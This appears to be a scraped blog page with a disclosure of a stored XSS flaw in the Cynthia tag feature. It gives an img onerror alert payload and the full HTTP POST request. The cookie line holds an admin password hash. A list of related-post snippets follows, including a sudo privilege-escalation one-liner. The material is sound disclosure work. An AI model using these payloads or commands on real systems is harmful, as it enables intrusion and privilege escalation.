Cynthia - XSS vulnerability exists in the newly created TAG

There is an XSS vulnerability when creating a new TAG

1. Click the settings icon and then click the add button

2. Enter Payload <img/src=x οnerrοr=alert(1)>

3. XSS vulnerability is triggered when the user opens the main page

Request package

POST /cynthia_war/tag/modifyTag.do HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-XSRF-TOKEN: null
X-Requested-With: XMLHttpRequest
Content-Length: 67
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/cynthia_war/
Cookie: JSESSIONID=DB8D578A89284C827BA80ABF29625086; UM_distinctid=17a9eb31a96183-07b3b6c79b0a8a8-445567-1fa400-17a9eb31a971b3; CNZZDATA5537061=cnzz_eid%3D258761960-1626155220-%26ntime%3D1636450579; webRootDir="http://localhost:8080/cynthia_war/"; displayTagDiv=true; login_username=admin; login_password=21232f297a57a5a743894a0e4a801fc3; userId=""; login_nickname=admintagId=109&tagName=<img/src=x%20onerror=alert(1)>&tagColor=%23990000

中国移动通信集团广西有限公司

Cynthia - XSS vulnerability exists in the newly created TAG相关推荐

configure: error: newly created file is older than distributed files!
在一个特定的环境中遇到如下情况: configure: error: newly created file is older than distributed files!make: warning: ...
2021-11-09 Cynthia XSS
There are XSS vulnerabilities when publishing articles here 1. Create a new article 2. Fill in the n ...
$_server['php_self'] 漏洞,Discuz! $_SERVER['PHP_SELF'] XSS Vulnerability
在common.inc.php文件的69行: $PHP_SELF = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NA ...
sourcetree安装遇到的各种坑
安装 SourceTree 时,需要使用atlassian授权,多数会卡到这一步,网上给出的办法跳过 atlassian账号授权方法安装之后,转到用户本地文件夹下的 SourceTree 目录,没 ...
springboot2.x使用Jsoup防 XSS 攻击
后端应用经常接收各种信息参数,例如评论,回复等文本内容.除了一些场景下面,可以特定接受的富文本标签和属性之外(如:b,ul,li,h1, h2, h3-),需要过滤掉危险的字符和标签,防止xss攻击. ...
使用NCR防范xss。
http://my.oschina.net/xpbug/blog/53005 在WEB前端开发的过程中,由于大量的URL和多处使用的传递参数,使得很多开发者经常会留下XSS的漏洞.在安全测试中一旦发现 ...
vvvvvvvvvvvvvvvvvvvvvvvvv
Java Concurrency In Practice Brian Göetz Tim Peierls Joshua Bloch Joseph Bowbeer David Holmes Doug L ...
cve -2016-6663 mysql 本地提权
0x01 漏洞原文翻译水平不高求轻喷感觉作者在写文章的时候有些地方描述的也不是特别清楚,不过结合poc可以清晰理解漏洞利用过程 0x04漏洞利用过程总结给出了清晰的漏洞利用过程,结合poc食用效果 ...
Linux提权：常用三种方法
一.sudo提权(CVE-2019-14287) #以root身份执行命令: sudo -u#-1 id sudo -u#4294967259 cat /flag#以root身份登录: sudo -u ...

Cynthia - XSS vulnerability exists in the newly created TAG

Cynthia - XSS vulnerability exists in the newly created TAG相关推荐

最新文章

热门文章